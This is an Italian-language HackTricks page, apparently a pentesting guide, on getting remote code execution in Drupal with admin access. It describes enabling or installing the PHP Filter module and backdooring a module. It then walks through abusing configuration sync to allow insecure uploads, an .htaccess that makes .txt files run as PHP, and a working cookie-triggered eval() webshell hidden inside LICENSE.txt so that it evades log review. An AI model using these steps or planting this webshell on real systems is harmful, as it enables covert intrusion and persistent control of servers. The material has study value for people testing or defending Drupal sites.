Drupal RCE
Reading time: 8 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Con il modulo PHP Filter
warning
Nelle versioni più vecchie di Drupal (prima della versione 8), era possibile accedere come admin e abilitare il modulo PHP filter
, che "Consente di valutare codice/snippet PHP incorporati." Ma dalla versione 8 questo modulo non è installato per impostazione predefinita.
- Vai a /modules/php e se viene restituito un errore 403 allora il plugin PHP filter è installato e puoi continuare
- Se no, vai su
Modules
e seleziona la casella diPHP Filter
e poi suSave configuration
- Poi, per sfruttarlo, clicca su
Add content
, poi selezionaBasic Page
oArticle
e scrivi il PHP backdoor, poi selezionaPHP
come formato di testo e infine selezionaPreview
- Per attivarlo, accedi semplicemente al nodo appena creato:
curl http://drupal.local/node/3
Installa il modulo PHP Filter
warning
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
Dalla versione 8 in poi, il PHP Filter modulo non è installato di default. Per sfruttare questa funzionalità, dovremmo installare il modulo noi stessi.
- Scarica l'ultima versione del modulo dal sito web di Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Una volta scaricato, vai su
Amministrazione
>Report
>Aggiornamenti disponibili
. - Clicca su
Sfoglia
, seleziona il file dalla directory in cui lo abbiamo scaricato e poi clicca suInstalla
. - Una volta installato il modulo, possiamo cliccare su
Contenuto
e creare una nuova pagina base, simile a come abbiamo fatto nell'esempio di Drupal 7. Ancora una volta, assicurati di selezionareCodice PHP
dal menu a discesaFormato testo
.
Modulo con backdoor
warning
Nelle versioni attuali non è più possibile installare plugin avendo accesso solo al web dopo l'installazione predefinita.
Era possibile scaricare un modulo, aggiungere una backdoor e installarlo. Ad esempio, scaricando il modulo Trurnstile in formato compresso, creando un nuovo file PHP di backdoor al suo interno, consentendo l'accesso al file PHP con un file .htaccess
:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
E poi andare su http://drupal.local/admin/modules/install
per installare il modulo backdoored e accedere a /modules/turnstile/back.php
per eseguirlo.
Backdooring Drupal con la sincronizzazione della configurazione
Post condiviso da Coiffeur0x90
Parte 1 (attivazione di Media e Media Library)
Nel menu Estendi (/admin/modules), puoi attivare quelli che sembrano essere plugin già installati. Per impostazione predefinita, i plugin Media e Media Library non sembrano essere attivati, quindi attiviamoli.
Prima dell'attivazione:
Dopo l'attivazione:
Parte 2 (sfruttare la funzionalità Sincronizzazione della configurazione)
Sfrutteremo la funzionalità Sincronizzazione della configurazione per scaricare (esportare) e caricare (importare) le voci di configurazione di Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Iniziamo patchando la prima voce allow_insecure_uploads
da:
File: system.file.yml
...
allow_insecure_uploads: false
...
A:
File: system.file.yml
...
allow_insecure_uploads: true
...
Patch field.field.media.document.field_media_document.yml
Poi, patcha la seconda voce file_extensions
da:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
A:
File: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Non lo uso in questo post del blog, ma è importante notare che è possibile definire l'entry
file_directory
in modo arbitrario e che è vulnerabile a un attacco di path traversal (quindi possiamo risalire all'interno dell'albero del filesystem di Drupal).
Parte 3 (sfruttando la funzionalità Aggiungi Documento)
L'ultimo passaggio è il più semplice e si suddivide in due sotto-passaggi. Il primo è caricare un file in formato .htaccess per sfruttare le direttive di Apache e consentire ai file .txt di essere interpretati dal motore PHP. Il secondo è caricare un file .txt contenente il nostro payload.
File: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Perché questo trucco è interessante?
Perché una volta che il Webshell (che chiameremo LICENSE.txt) è stato caricato sul server Web, possiamo trasmettere i nostri comandi tramite $_COOKIE
e nei log del server Web, questo apparirà come una legittima richiesta GET a un file di testo.
Perché chiamare il nostro Webshell LICENSE.txt?
Semplicemente perché se prendiamo il seguente file, ad esempio core/LICENSE.txt (che è già presente nel core di Drupal), abbiamo un file di 339 righe e 17,6 KB di dimensione, che è perfetto per aggiungere un piccolo frammento di codice PHP nel mezzo (dato che il file è abbastanza grande).
File: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Parte 3.1 (carica il file .htaccess)
Prima, sfruttiamo la funzione Add Document (/media/add/document) per caricare il nostro file contenente le direttive Apache (.htaccess).
Parte 3.2 (carica il file LICENSE.txt)
Poi, sfruttiamo di nuovo la funzione Add Document (/media/add/document) per caricare un Webshell nascosto all'interno di un file di licenza.
Parte 4 (interazione con il Webshell)
L'ultima parte consiste nell'interagire con il Webshell.
Come mostrato nello screenshot seguente, se il cookie previsto dal nostro Webshell non è definito, otteniamo il risultato successivo quando consultiamo il file tramite un browser Web.
Quando l'attaccante imposta il cookie, può interagire con il Webshell ed eseguire qualsiasi comando desideri.
E come puoi vedere nei log, sembra che sia stato richiesto solo un file txt.
Grazie per aver dedicato del tempo a leggere questo articolo, spero che ti aiuti a ottenere alcune shell.
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.